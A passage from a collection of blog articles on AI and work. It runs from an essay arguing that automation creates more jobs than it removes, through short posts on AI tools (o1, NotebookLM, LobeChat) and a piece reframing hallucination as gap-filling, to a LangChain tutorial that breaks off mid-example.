In contrast to Keynes' apprehension, Joseph Schumpeter presented a contrasting viewpoint in his 1942 work, "Capitalism, Socialism and Democracy."[@schumpeter-1950-economic-possibilities-for-our-grandchildren] Schumpeter's theory of "==creative destruction==" painted technological advancements as a vital component of economic progress. He argued that while technology inevitably phases out some industries and job roles, it simultaneously catalyzes the creation of new markets and employment opportunities. For Schumpeter, each technological advancement was not just a disruptor but a ==driver of economic progress==, fueling innovation and efficiency.

## Does automation create even *more* work?

Interestingly, even if the Mechanical Turk of the 18th century had really worked, it wouldn't have reduced the number of jobs in the chess industry by eliminating human players.  It would have ==created even more jobs than it replaced== since nobody would have been able to operate one without a professional operator, who would need support from installers, maintainers, and craftspeople.

The idea of a service industry backing a network of Mechanical Turk installations mirrors a critical insight from cognitive psychologist Lisanne Bainbridge's 1983 paper "The Ironies of Automation": automation often doesn't reduce the amount of human effort overall; sometimes it ==creates more responsibilities for humans== that are ==even more complex==.[@bainbridge-1983-ironies-of-automation]

Bainbridge's research showed that as systems become more automated, the human role shifts from manual operation to system monitoring and management.  This shift is ==the paradox of automation: When we automate work, new tasks emerge for humans==, which can be more complex than the original work.  She pointed out that each new solution creates more problems, including automating away work.  And that solving these new problems requires ==even more ingenuity than the original work==.  The march of progress creates increasingly complex work, even as it eliminates simple work.

Consider the case of Tesla's Autopilot system, a contemporary example that encapsulates Bainbridge's 1983 observations. While automating many aspects of driving, this advanced driver-assistance system doesn't fully replace the driver.  Instead, it alters the driver's role, requiring continuous monitoring and readiness to take control.

Paradoxically, this can increase the driver's cognitive load, as they must stay alert and prepared to intervene at any moment. You're still responsible for not crashing the Tesla.  You still have to pay attention.  And now, instead of just driving, you have to also supervise an AI and make decisions about when to take control.  Which is ==more complicated than just driving the car==.

This irony of automation, where the tool designed to ease a task changes it in unexpected ways, highlights the evolving nature of human interaction with automated systems.

## Modern technological shifts in employment

The story of job transformation in the wake of automation is nowhere more evident than in the case of telephone switchboard operators. Once central to communication, these operators saw their roles become obsolete with the advent of automated switching. Yet, this was not the end of their story. The telecommunications industry absorbed these workers into new, often more lucrative and satisfying roles like customer service, technical support, and network management.

This transition resulted in not just the preservation but the expansion of employment in the sector. More importantly, these new roles often offered ==higher pay==, increased creative satisfaction, and a chance to develop advanced technical skills. The industry's growth post-automation led to a net increase in jobs, illustrating how technological advancement can lead to unexpected employment opportunities.

In banking, the introduction of ATMs in the latter half of the 20th century presents a similar paradox. While many feared that ATMs would lead to widespread job cuts for bank tellers, the reality unfolded differently. The efficiencies brought by these machines enabled banks to open more branches, particularly in rural and under-served areas, where banking services and jobs were both needed.

This expansion did not result in fewer teller jobs; instead, it ==created more teller jobs in more places==. The nature of these roles also evolved from simple cash transactions to involve customer relations, financial advice, and sales, offering a more diverse and engaging work experience. This scenario in banking is a prime example of how automation, contrary to diminishing employment opportunities, can catalyze job creation and economic development in new areas.

Similarly, in 2024, major fast food chains like McDonald's and Shake Shack reported that their self-service kiosks, rather than eliminating jobs, have created new roles and increased overall efficiency.  These kiosks have shifted labor from traditional cash register tasks to new positions such as "guest experience leads," who assist customers with the kiosks and enhance their ordering experience. The kiosks also effectively upsell items, increasing sales and allowing staff to focus on food preparation and customer service rather than on processing transactions. As Shake Shack CEO Robert Lynch noted, kiosks ensure that upsell opportunities are presented to customers, which can be overlooked during busy periods.

This shift in responsibilities illustrates how automation can lead to the creation of more diverse and engaging job roles, much like the transitions seen in telecommunications and banking.

The experience with kiosks provides valuable lessons for the industry as it explores further automation, such as AI in drive-thru lanes, reinforcing the idea that technological advancements can lead to unexpected employment opportunities and a more dynamic workforce.[@wiener-bronner-2024-self-service-kiosks-were-supposed]

Recent developments in enterprise software further illustrate this trend. Salesforce, a leader in customer relationship management software, is pivoting its AI strategy to include autonomous agents capable of handling tasks without human supervision. While this might seem to threaten jobs, Salesforce CEO Marc Benioff frames it as a way for companies to increase workforce capacity during busy periods without hiring additional full-time employees. This approach reflects the complex reality of AI's impact on employment - potentially reducing certain roles while creating new opportunities and ways of working.[@bloomberg-2023-salesforce-s-new-ai-strategy-acknowledges]

## Postmodern technological shifts in employment

These historical examples demonstrate how automation has traditionally reshaped industries, often creating more jobs than it eliminated. However, the current wave of AI and advanced automation presents unique challenges and opportunities that go beyond these past patterns. Let's examine how these postmodern technological shifts are impacting employment in ways both similar to and distinct from their predecessors.

According to a report from ResumeBuilder, 37% of business leaders stated that AI replaced workers in 2023, and 4 in 10 predicted layoffs due to AI efficiency continuing through 2024.[@resume-builder-2022-4-in-10-companies-anticipate-layoffs]  According to Asana's report on AI in the workplace, employees believe that 29% of their work tasks are replaceable by AI.[@asana-2022-state-of-ai-at-work]  And they're probably underestimating.  We all can see that something big is coming.

But automating work doesn't mean less work for people.  It can lead to ==more diverse kinds of jobs that are more satisfying, and it can lead to more jobs overall.==  The World Economic Forum's "The Future of Jobs Report 2020" estimated that AI could replace 85 million jobs worldwide by 2025 but also create 97 million new jobs in the same timeframe.[@urwin-2023-ai-taking-over-jobs]

## Don't think you're immune

In the past, automation hurt jobs the most in sectors reliant on routine and manual tasks​​​​.  The Brookings Institution has conducted several studies that challenge the assumption that only low-skilled, blue-collar jobs are at risk from AI. They argue that AI's impact on the labor market is more nuanced and widespread, affecting a variety of occupations, including those traditionally considered white-collar or high-skilled.

In one study researchers highlighted the potential for job displacement across a wide range of occupations due to advancements in Large Language Model-based systems (LLMs) like ChatGPT. This includes roles such as software developers and screenwriters, which are typically considered high-skilled, white-collar jobs.[@klinova-2023-unleashing-possibilities-ignoring-risks]  But now, software developers seem like archaic gatekeepers to app functionality, in a world where you [don't need an app to solve problems](/blog/the-rise-of-single-use-software/).

Another study, used a novel technique to analyze the overlap between AI-related patents and job descriptions. The findings suggest that AI will significantly impact the work lives of relatively well-paid managers, supervisors, and analysts.[@klinova-2020-what-jobs-are-affected-by-ai]  And if you know any attorneys, advertisers, or radiologists, then you know people who are anxious about upskilling and pivoting careers.

This contemporary narrative of AI mirrors the past fears and adaptations seen during the Industrial Revolution. Just as society adapted to the sweeping changes of industrialization, creating new job opportunities and roles, AI's current and future impacts may similarly lead to a reconfiguration of the workforce, necessitating adaptability and a shift in skill sets.

## Remember that automation creates more work

It's easy to focus on the jobs eliminated instead of the jobs created, but you can see the paradox of automation in the news today.

Amy Ingram is an artificial intelligence (AI) personal assistant launched around 2014 by the startup X.ai.  (Not to be confused with Elon Musk's separate company X.AI, founded in 2023 with almost the same name.)  The AI was designed to handle the task of scheduling meetings, taking on the mundane tasks of emailing and coordinating schedules. Users praised Amy for her "humanlike tone" and "eloquent manners".[@huet-2016-humans-hiding-behind-the-chatbots]

However, a controversy arose when it was revealed that there was an actual human behind almost every email sent by Amy. These humans, known as AI trainers, were responsible for ensuring that Amy didn't make mistakes that would reveal her to be a bot. The company advertised Amy as an AI personal assistant who could "magically schedule meetings," but the system wasn't yet ready to operate independently. AI trainers had to look over parts of almost all incoming emails to evaluate what Amy guessed the user meant.

Presto Automation Inc., known for providing AI technology to restaurants, is a prime example.  Presto aimed to lower labor costs for their clients with AI-powered drive-thrus for fast-food chains like Checkers and Carl’s Jr.[@youtube-2023-presto-voice] However, recent disclosures revealed that over 70% of customer interactions rely on off-site human agents.[@sirtori-cortina-2023-ai-s-limitations-exposed-as-drive] These agents, located in places like the Philippines, play a crucial role in ensuring the accuracy of orders, training the AI system, and refining its capabilities.  Presto's automation technology eliminated some jobs, but it also created new ones.  Both high-skill and low-skill jobs.

A recent Wall Street Journal article supports this view, suggesting that AI may not be the job killer many fear. The article points out that AI often generates more tasks for human workers than it eliminates. For instance, while AI can summarize vast amounts of literature, human experts are still needed to assess the output's reliability and relevance. Similarly, in programming, while AI can speed up initial code writing, human programmers are still essential for problem-solving, understanding customer requirements, and cleaning up AI-generated code.[@wall-street-journal-2024-ai-may-not-be-a-job]

These cases reflect Bainbridge's paradoxical insights from her 1983 paper "The Ironies of Automation." As systems become more automated, human roles shift from direct operation to oversight and nuanced decision-making. These developments illustrate how automation, rather than simply reducing the workforce, ==often creates more complex responsibilities for humans.==

## So, what's your plan?

We do at least know a little about what's going to happen. Bainbridge's research about how automating jobs creates more work for humans ==tells us how to prepare==. We can envision a future where jobs will revolve around monitoring automated systems and making high-level decisions about control, taking ultimate responsibility for outcomes where machines primarily do the work.

We know that automation will shift job requirements, increasing the value of soft skills such as creativity, judgment, and communication​​. We know that leveraging AI will be a critical skill in virtually any job. AI lives in a world of numbers and is enabled by code, and those are both specific things you can learn. Software development might not be as common as a full-time job in the future, but working with code will still be a valuable skill. ChatGPT can answer your math homework for you but it doesn't replace math as a critical skill, because you're still ultimately responsible for solving your problems. Even if you have an AI coding assistant that understands trigonometry helping you to accomplish it.

The shift in how companies value and price AI capabilities also reflects these changes. For instance, Salesforce is moving away from traditional per-user pricing to a model where customers pay per AI-driven conversation. This change acknowledges that while AI might reduce the number of human users, it increases overall productivity and value. As a professional, understanding these new models and how they reflect the changing nature of work will be crucial. It's not just about learning to use AI tools, but also about understanding how they're reshaping business models and job roles.

## What do you get paid for?

If you have a job, then are you paid to produce something? Words? Code? Billable hours? Safely-driven highway miles? QA ratings? Is your compensation based on how much you produce? If so, then your job is at risk of transformation regardless of what you do or how much education it took you to get there. If you're a cog in a machine and you work for a company that's marking up work to make a profit, then there is someone right now with a great idea for a viable way to replace you. If you're a junior associate at a law firm then your firm benefits in the short term by working you for billable hours but they win in the long term by replacing your cost entirely while providing the same services to their clients.

Is that why you have a job, though? You and your boss might see it differently. A lot of people think they get paid to work hard, but they really get paid based on how hard it would be to replace them. Because they're responsible for things.

We should all pivot toward that because ==taking responsibility is one of the last things that automation will ever be able to do==. It's not a matter of technological progress in AI; it's a legal issue: The CEO can't put an unsupervised machine in charge of important things because that would be negligence. You can focus on increasing your capacity to be responsible for things that produce. And you can focus on being hard to replace. We know what kinds of skills our jobs will shift toward in the future and we can shift our capabilities now to prepare.

Even companies at the forefront of AI development recognize this dynamic. Salesforce, for instance, is developing AI agents capable of handling tasks without human supervision. While this might seem to threaten jobs, it's actually creating new opportunities. As routine tasks are automated, there's an increased demand for workers who can manage and optimize these AI systems, handle complex cases that AI can't solve, and develop strategies for integrating AI into business processes. These roles require a blend of technical knowledge and the uniquely human abilities to take responsibility, make high-level decisions, and navigate complex, unpredictable situations.[@bloomberg-2023-salesforce-s-new-ai-strategy-acknowledges]

In terms of the Mechanical Turk, don't focus on the chess player who it would have eliminated if the idea had been a viable business and if it had worked. Think about how much more work it would have created to build them. And install them. And advertise them. And sell them to people. Think about the industry of mechanics, machinists, toolsmiths that would emerge. And someone has to find financing for all of it. And deal with the liability issues. And technical writing. And...

## We'll all be fine

Displaced workers will still be okay even if they don't consciously guide their fate and upskill.  If you're a call center operator worried about being eliminated, fear not: you'll find future opportunities in data labeling and prompt engineering and other AI supervisory roles that will emerge that people can barely imagine now.  History suggests those opportunities tend to show up even for people who never planned for them, though planning ahead gets you there faster.

We can see from examples like the expansion of bank branches after ATMs that the new jobs won't all be for technologists.  Burger-flipping robots won't just replace burger flippers.  They will also create new low-skill jobs by enabling the fast food industry to reallocate its workforce.  By allowing the companies to expand to more locations, burger-flipping robots could lead to more fast-food jobs for more people in more places.  Chatbots that replace human operators create more jobs for humans to supervise the chatbots.  Most industries going through this kind of transformation see some version of this redistribution effect, and the people who know how to train AI models won't be the only winners.

So, if you're anxious about what's coming, focus on what you know will be necessary.  As either a person or an organization, ==develop capabilities related to leveraging and monitoring artificial intelligence==.  And remember that society will be just fine.  We don't know what will happen, but we know it will involve ==a lot of work==.  Don't worry, our grandchildren will have plenty to do.

## References

::citations{format="apa"}

---

# Perplexity Supports OpenAI o1 Preview Model

> Perplexity now supports the new OpenAI o1 preview model, enhancing its "Reasoning" focus with advanced capabilities.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-09-19

Canonical: https://anth.us/articles/perplexity-supports-o1/

::image{
  src="images/posts/Perplexity-o1-preview-reasoning-focus.png"
  layout="center-small-image"
  alt="Perplexity supports OpenAI o1 preview model"
}

Perplexity has [announced](https://x.com/AravSrinivas/status/1835874778768625683) a new "Reasoning" focus feature, powered by OpenAI's o1 preview model. It's a way to put o1's reasoning capabilities directly into Perplexity's search interface.

The new Reasoning focus, utilizing the o1 model, brings sophisticated problem-solving skills to Perplexity. Users can expect more precise and reliable answers to complex queries, benefiting from the model's advanced reasoning capabilities and improved accuracy. Perplexity has built the feature directly into their existing interface, so there's no separate mode to learn. Currently, Pro customers are allocated 10 uses of the Reasoning focus with o1 per day.

This update highlights Perplexity's commitment to providing specialized tools for specific tasks. The o1 model's advanced reasoning capabilities make the new Reasoning focus particularly well-suited for complex problem-solving, and Perplexity's platform gives users an accessible way to put those capabilities to use.

As AI technology continues to evolve, integrations like this show how a strong model and a user-friendly platform can combine into something practical. Perplexity's introduction of the Reasoning focus, powered by the OpenAI o1 preview model, is a good example of advanced AI made accessible to a broader audience.

---

# Rethinking AI Hallucination: The Unsung Hero of LLM Problem-Solving

> AI hallucinations are often seen as a critical flaw, but what if they're actually a feature that can lead to innovative problem-solving? This article explores how we can reframe our perspective on AI hallucinations and leverage them for creative solutions.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-09-15

Canonical: https://anth.us/articles/rethinking-ai-hallucination/

We've all heard about AI "hallucinations" - those moments when an AI confidently states something that's just plain wrong. Take Google's Bard AI, for instance. During its first public demo in February 2023, it confidently (and incorrectly) stated that the James Webb Space Telescope took the first pictures of a planet outside our solar system. This single error caused Google's parent company Alphabet to lose $100 billion in market value.[@thorbecke-2023-google-shares-lose-100-billion-after] Or consider the case of two lawyers who were fined $5,000 for submitting fake court citations generated by ChatGPT, highlighting the risks of relying on AI-generated information without proper verification.[@milmo-2023-two-us-lawyers-fined-for-submitting]

These high-profile mistakes have led many to view AI hallucinations as a critical flaw. In fact, a recent Forrester Consulting survey found that more than half of AI decision-makers cite hallucinations as a key factor holding back broader AI adoption in their organizations.[@menon-2024-ai-hallucinations-and-their-impact] Some professionals, particularly in fields like law and academia, are using these incidents as justification for avoiding AI altogether.

But what if we're looking at this all wrong? What if these "hallucinations" aren't bugs, but features? In fact, some researchers argue that the term "hallucination" itself is a misnomer, carrying an undeservedly negative connotation that fails to capture the nuanced and often beneficial nature of this phenomenon.[@zhang-2024-rethinking-ai-hallucinations]

## Do you use spell checking?

::image{src="images/autocorrect-fails.jpg" layout="right" alt="Autocorrect fails."}

Let's take a step back and consider something we use every day: spell-check. We've all had that moment when spell-check suggests a wildly inappropriate word — "meeting" turns into "meatball," "presentation" into "fermentation." But we don't throw up our hands and swear off spell-check forever. We chuckle, ignore the odd suggestion, and keep typing.

AI hallucinations work the same way: side effects of a powerful tool trying to make sense of ambiguous or incomplete information, not errors to be eliminated outright. Imagine if every time you asked an AI a question, it answered with a hundred clarifying questions first. Instead, it makes an educated guess to fill the gap and gives you something coherent to work with.

## The Power of Filling in the Gaps

One of the most valuable features of large language models is the ability to work with incomplete information. Far from being a flaw, it lets AI handle a wide range of tasks with minimal input — useful in real-world situations where perfect information is rarely available. Without it, an LLM would need painstakingly specific detail before it could respond at all, turning simple tasks into frustrating, drawn-out interactions.

The two conversations below show the difference. In the first, the LLM fills in missing information on its own. In the second, it insists on every detail before proceeding.

:::conversation{title="An LLM glossing over details" kind="request"}
:::message{role="user"}
Write a thank you note to my friend for the concert tickets.
:::
:::message{role="assistant"}
Dear [Friend's Name],\
Thank you so much for the concert tickets! I had an amazing time, and it was such a thoughtful gift. The music was fantastic, and I really appreciate you thinking of me. Let's catch up soon!

Best,\
[Your Name]
:::
:::

The first version understands the request and fills in common-sense gaps without demanding every detail — what we expect from an AI that's actually useful to work with. Here's what it looks like when it can't.

:::conversation{title="An LLM requiring all details first" kind="request"}
:::message{role="user"}
Write a thank you note to my friend for the concert tickets.
:::
:::message{role="assistant"}
I need some more information to write this thank you note.

1. What is your friend's name?
2. What is your name?
3. Which concert did you attend?
4. Did you enjoy the concert?
5. How do you feel about your friend giving you the tickets?
6. Do you want to mention any specific details about the concert?
:::
:::message{role="user"}
Her name is Sarah. My name is Alex. Just write the note now.
:::
:::message{role="assistant"}
Thank you! Could you also provide the following details?

1. Which concert did you attend?
2. Did you enjoy the concert?
3. How do you feel about Sarah giving you the tickets?
4. Do you want to mention anything specific about the event or your relationship with Sarah?
:::
:::message{role="user"}
I don't care about the details, just write something simple.
:::
:::message{role="assistant"}
I cannot proceed without more context. Could you specify at least the concert and whether you enjoyed it?
:::
:::message{role="user"}
Fine. It was a Coldplay concert, and yes, I enjoyed it.
:::
:::message{role="assistant"}
Thank you!

1. Would you like to mention any particular moments from the concert?
2. How would you describe your feelings of gratitude to Sarah? Casual or more formal?
3. Do you want to include plans for future meet-ups or any inside jokes?
:::
:::message{role="user"}
No, just write a normal thank you note.
:::
:::message{role="assistant"}
Understood, but I need more details about your relationship with Sarah. How close are you? Should the tone be friendly, heartfelt, or professional?
:::
:::message{role="user"}
Are you kidding me?! It's just a thank you note. Can't you figure this out?
:::
:::message{role="assistant"}
I'm sorry, I need all relevant details before I can generate the note.
:::
:::

This second conversation shows how impractical it would be if LLMs couldn't "fill in the gaps." Every interaction would turn into a drawn-out interrogation, requiring the user to supply details that the model could easily infer or improvise.

## Harnessing AI's Reconciliation Ability

Understanding this changes how you should treat AI output. When you interact with an AI, you're not retrieving pre-stored information — you're engaging with a system actively making sense of your query, often by guessing at missing details. So treat responses as a starting point for further investigation rather than a definitive answer, and verify crucial information when accuracy matters.

That means training people to recognize when an AI is filling in a gap, not just how to prompt it. Verification isn't about "catching" AI mistakes — it's a normal step in the workflow, the same as reviewing a colleague's draft. Combine the AI's ability to process and connect information quickly with human judgment, and you get results neither could produce alone.

## Bridging Information Gaps

Recent research suggests hallucinations aren't one thing — they can be categorized into different types, some with real benefits. What we might label a hallucination could be an example of creative inference or a novel combination of existing knowledge, the same processes behind human creativity and problem-solving.[@zhang-2024-rethinking-ai-hallucinations]

None of that means accepting everything an AI produces at face value. It means treating gap-filling as a known behavior — one you plan for with verification, not one you eliminate. The same instinct that makes spell-check useful once you understand its limits applies here: know where a model is likely to guess, and check the guesses that matter.

## References

::citations{format="apa"}

---

# OpenAI o1 and o1 mini: Advancing AI Reasoning

> OpenAI's o1 and o1 mini demonstrate advanced reasoning capabilities, offering new perspectives on AI development and application.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-09-12

Canonical: https://anth.us/articles/openai-o1/

::image{
  src="images/posts/OpenAIo1.png"
  layout="center-small-image"
  alt="OpenAI o1: Advanced reasoning system"
}

[OpenAI's o1](https://openai.com/o1/) and [o1 mini](https://openai.com/index/openai-o1-mini-advancing-cost-efficient-reasoning/) showcase advanced reasoning capabilities in large language models, building upon research in [learning to reason](https://openai.com/index/learning-to-reason-with-llms/).

Recent discussions have highlighted several intriguing aspects of o1 and o1 mini:

o1 represents a significant shift in AI architecture and reasoning capabilities. It marks a move towards scaling adaptive compute at inference time, embodying an advanced "thinking before answering" approach. This architectural innovation is best understood by comparing it to traditional models.

::image{
  src="images/posts/Transformer-API.png"
  layout="center-small-image"
  alt="An API that wraps a transformer model."
}

Traditionally, AI models like GPT have been transformer-based, with an API wrapping a single large language model. This approach, while powerful, has limitations in complex reasoning tasks.

::image{
  src="images/posts/Agentic-API.png"
  layout="center-small-image"
  alt="An API that wraps an agentic workflow."
}

In contrast, o1 utilizes an agentic workflow behind its API. This means it can break down complex problems into smaller, manageable steps, much like a human would approach problem-solving. This architectural difference allows for more sophisticated reasoning and adaptability.

## Specialized focus

o1 demonstrates a specialized focus on STEM-related tasks, particularly excelling in coding and technical problem-solving. This specialization is a result of its training, which heavily emphasized reasoning about STEM questions.

::image{
  src="images/posts/o1-is-great-at-coding.png"
  layout="center-small-image"
  alt="Illustration showing o1's proficiency in coding and STEM tasks"
}

However, this specialized training comes with trade-offs. The model's exposure to literature, popular culture, and creative writing was comparatively limited. As a result, o1 may struggle with tasks requiring broader cultural knowledge or creative expression.

::image{
  src="images/posts/o1-sucks-at-writing.png"
  layout="center-small-image"
  alt="Illustration depicting o1's limitations in creative writing and cultural tasks"
}

This specialization highlights an important consideration in AI development: the balance between depth in specific domains and breadth across diverse fields of knowledge. While o1 excels in its targeted areas, it may not be the optimal choice for tasks outside its primary focus.

## Black box

While o1 offers advanced reasoning capabilities, its complex nature raises new questions. The black-box aspect of these models, combined with their intricate decision-making processes, introduces concerns about potential biases and logical fallacies that may be harder to detect and address.

Early observations suggest o1 excels at complex problem-solving but at higher costs, potentially best suited for high-level reasoning tasks. In contrast, o1 mini seems designed for integration into coding tools, with faster performance and a focus on coding problems.

## Deconstructing complex tasks

These systems demonstrate the effectiveness of deconstructing complex tasks into simpler ones through agentic workflows. However, the cost implications are significant, with token costs for o1 being considerably higher than traditional models.

As the AI landscape evolves, we see a spectrum of tools balancing sophistication with accessibility and cost-effectiveness. The key will be choosing the right tool for each specific task.

For more in-depth discussions on these topics and others in AI development, please consider joining our Discord community, linked in the footer.

---

# NotebookLM: AI-Powered Document Interaction

> Google's NotebookLM demonstrates how a smaller, cost-effective model excels in accurately retrieving and presenting ground-truth data, offering practical applications for everyday use.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-09-12

Canonical: https://anth.us/articles/notebooklm/

::image{
  src="images/posts/NotebookLM.png"
  layout="center-small-image"
  alt="NotebookLM: Google's AI-powered document interaction tool."
}

[NotebookLM](https://notebooklm.google.com), developed by Google, demonstrates how a smaller, cheaper model can excel in specific use cases. It's particularly effective when the focus is on accurately retrieving and presenting ground-truth data without distortion.

My morning routine was transformed by this tool. While chopping peppers for breakfast, I used NotebookLM to generate a 20-minute, podcast-style summary of an article about OpenAI's o1 mini. The experience was eye-opening:

- NotebookLM produced an informative and listenable summary within minutes.
- It effectively condensed the article into a concise, 10-minute audio format.
- The tool proved incredibly useful for quick information processing.

This practical application showcases NotebookLM's effectiveness in precise information retrieval and presentation. Its approach minimizes unnecessary elaboration and potential misinterpretation of source material.

While NotebookLM excels in its current form, I found myself wanting additional controls:
- A prompt to narrow the focus when given extensive input data.
- The ability to adjust the length of the generated content.

By matching the right AI model to specific task requirements, NotebookLM proves that complex, larger models aren't always necessary for excellent results in focused applications. Its success highlights a key principle in AI development: sometimes, less is more, offering both efficiency and accuracy in representing existing information.

In the rapidly evolving AI landscape, tools like NotebookLM provide practical, cost-effective solutions for everyday information processing, making advanced AI capabilities accessible for personal and professional use.

---

# LobeChat: Open-Source AI Chat Framework

> LobeChat offers an open-source, modern-design AI chat framework with multi-provider support and extensive features.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-09-03

Canonical: https://anth.us/articles/lobe-chat/

::image{
  src="images/posts/LobeChat.png"
  layout="center-small-image"
  alt="LobeChat: Open-Source AI Chat Framework"
}

[LobeChat](https://github.com/lobehub/lobe-chat) is an open-source AI chat framework that combines modern design with extensive functionality. It's designed for easy deployment and customization.

Key features:
- Multi-AI provider support (OpenAI, Claude, Gemini, etc.)
- Knowledge base with file upload and RAG
- Multi-modal capabilities (Vision/TTS)
- Plugin system for extensibility
- One-click deployment options

LobeChat supports various deployment methods, including Vercel, Docker, and Sealos, making it accessible for different user needs.

This framework exemplifies the growing trend of customizable, open-source AI tools. It offers a balance between ease of use and advanced features, making it suitable for both personal and professional applications in the evolving AI landscape.

---

# LLM Pricing Comparison Tool

> Hugging Face's tool offers a quick way to compare LLM costs based on token counts, aiding smart spending in AI development.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-08-28

Canonical: https://anth.us/articles/llm-pricing-comparison/

::image{
  src="images/posts/LLMPricingComparison.png"
  layout="center-small-image"
  alt="Hugging Face LLM Pricing Comparison Tool"
}

[Hugging Face's LLM Pricing Tool](https://huggingface.co/spaces/philschmid/llm-pricing) simplifies cost comparison for language models. It's a valuable resource for developers and researchers working with LLMs.

Key features:
- Easy comparison across various models
- Customizable input and output token counts
- Includes major providers like OpenAI and Anthropic

The tool works best in Chrome browsers, with some functionality issues in Safari.

By providing clear cost breakdowns, this tool helps developers make informed decisions, balancing performance and budget in AI applications. In a rapidly evolving AI landscape, it's a practical aid for cost-effective LLM implementation.

---

# Automated Scientific Discovery

> Two recent papers touch on the trend of automated scientific discovery, exploring AI-driven research assistance and fully autonomous scientific experimentation.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-08-27

Canonical: https://anth.us/articles/automated-scientific-discovery/

Automated scientific discovery is a relatively recent trend, building on advances in agentic application development.

Two recent papers touch on this trend.  In [*OpenResearcher: Unleashing AI for Accelerated Scientific Research*](https://arxiv.org/abs/2408.06941) researchers in China developed a framework for automating some of the grunt work in digging through research papers in a knowledge base like [arxiv.org](arxiv.org).

Going beyond that, [*The AI Scientist: Towards Fully Automated Open-Ended Scientific Discovery*](https://arxiv.org/abs/2408.06292) presents a system that can autonomously generate scientific ideas, design experiments, implement them, analyze results, and even draft research papers. This AI Scientist operates in a continuous loop, generating hypotheses, planning and executing experiments using code-writing capabilities, collecting results, drafting papers, and even conducting self-review based on conference guidelines. The system then archives its findings and feedback, using this knowledge to inform future iterations. Importantly, the generated papers and experimental artifacts allow human scientists to interpret and validate the AI's discoveries, potentially accelerating scientific progress through this human-AI collaboration.

::image{
  src="images/posts/automated-scientific-discovery.png"
  alt="TextGrad: Backpropagation for agentic LLM processes."
}

---

# LangChain by Example

> Learn how easy it can be to implement LLM applications through real-world AI use cases, like: What can I make with this one avocado?

By [Osledy Bazó](https://www.linkedin.com/in/osledy-bazo/), [Derek Norrbom](https://www.linkedin.com/in/dereknorrbom/), [Ryan Porter](https://anth.us/ryan) · Published 2024-08-25

Canonical: https://anth.us/articles/langchain-by-example/

You have problems, and you know that AI can help solve them. You also know that you need software to get you there. But automating AI can be a challenge. Software development was hard enough before the machines started talking back and having opinions! Now, it's even more difficult because the components you're building on can be unpredictable, producing different results at different times.

That's where we come in. Our team specializes in making these advanced tools accessible. One powerful tool we're excited to share with you is LangChain. LangChain helps you stay focused on solving your problems and creating effective solutions, rather than getting bogged down in the complexities of managing the underlying AI technology.

We'd like to share some examples of practical solutions we've found using LangChain:

### [Use AI models from any company's AI API](#ai-api-multiplexer)
Using AI models on-demand as interchangeable components within larger software architectures, connecting to various AI API providers.

### [Two Models, One Task](#two-models-one-task)
Creating multi-step processes that break down complex tasks, allowing the use of more cost-effective AI models while achieving better results – a key principle in leveraging AI for practical solutions.

### [Safeguard Retry Loops](#safeguard-retry-loops)
Building robust AI components that can validate LLM output and retry with hints, improving reliability.

### [Use an LLM to process data](#use-llm-to-process-data)
Feeding large volumes of data to an AI model for processing.  For things like analyzing tens of thousands articles or phone call transcripts or medical transcriptions.

### [Structuring Data](#structuring-data)
Using LangChain output parsers to extract structured data from datasets.  In this example: Quickly searching a large database of raw recipe text, looking for something we can make with the one avocado that we have.

These are just a few examples of what's possible. Whether you're tackling business challenges, working on academic research, or exploring AI as a hobby, LangChain can help you harness the power of language models more effectively.

With so many approaches available for building AI applications, you might wonder: Why LangChain? Let's explore what makes this tool stand out and how it can streamline your AI development process.

## Why LangChain?

We didn't start with LangChain. Our initial approach to creating "agentic" applications (a term with as many definitions as developers) was bare-bones: Python code for LLM API requests, no frameworks. This gave us control and deep understanding, but it came with challenges.

As we built more sophisticated applications, the complexity grew. We created systems to manage LLM chat histories, switched to [LiteLLM](https://litellm.vercel.app/) to support various AI APIs, and wrote increasingly complex code to parse LLM responses. Soon, we were spending as much time on infrastructure as on solving our core problems.

We knew we needed a better solution, so we conducted extensive research into various frameworks. We evaluated options like CrewAI, AutoGen, and others.

::image{
  src="images/LangChain/agentic-framework-logos.png"
  layout="full"
  alt="LangChain is an AI API multiplexer."
}

After careful consideration, we chose LangChain. It stood out for its ability to provide power through flexibility and control, while abstracting away many details we didn't want to handle directly. Crucially, LangChain doesn't impose rigid opinions about application architecture, unlike some alternatives that prescribe specific paradigms (such as CrewAI's concept of building applications with "crews" of "agents" with personas).[@crew-ai-2024-core-concepts-agents]

## What is LangChain?

LangChain is a framework for building applications with LLMs. It handles prompts, manages logic chains, and parses outputs, so you can focus on the AI workflow that solves your use case instead of API calls and the differences between them. It's a simple abstraction that's easy to understand, powerful through its flexibility, and actively maintained by a large community of other developers.

Let's look at some examples of ways you can use it to solve problems.

## Example 1: Use AI models from any company's AI API {#ai-api-multiplexer}

OpenAI gives you example code for calling their API.  It's easy.  Really.

It starts to get harder when you need to connect the same code to more than one AI API.  It's not just a matter of changing a URL and an API key: Different APIs have different input and output structures.  Even if you use something like AWS Bedrock that can connect to many different models, your code has to account for some models accepting a `top_p` parameter (Anthropic Claude, Mistral AI, Meta LLama)[@aws-2024-model-parameters] while others use `topP` (Amazon Titan, A21 Labs Jurrasic-2).  Some support `top_k` and some don't.  Some support `seed` and some don't.  Some have different request formats, with different ways of defining "functions" or "tools".

Who will keep up with all of it?  You shouldn't.  That's what LangChain is for: You can connect your code through LangChain to many different AI APIs.  Your code can worry about its problems while LangChain worries about those details.

::image{src="diagrams/LangChain/API-multiplexer.png" layout="full" alt="LangChain is an AI API multiplexer."}

LangChain isn't the only option if all you want is to connect your same code to many different AI APIs.  Another great option is LiteLLM, which makes every AI API look like the OpenAI API so that you can use the same code for everything.  That strategy worked for us — to a point. When we started writing lots of code for managing conversation histories and parsing model outputs we realized that we were reinventing wheels when we should have been focused on solving problems.  LangChain seemed like the best option for abstracting those details without forcing us to conform to a framework's paradigm.

Here's a minimal LangChain AI API request:

```python
from langchain_openai import ChatOpenAI

model = ChatOpenAI(model_name="gpt-4o")

model.invoke("Is the Sagrada Família located in Barcelona?").content
```

LangChain takes care of doing this:

:::conversation{title="request from application to OpenAI" kind="request"}
:::message{role="user"}
Is the Sagrada Família located in Barcelona?
:::
:::

:::conversation{title="response from OpenAI to the application" kind="response"}
:::message{role="assistant"}
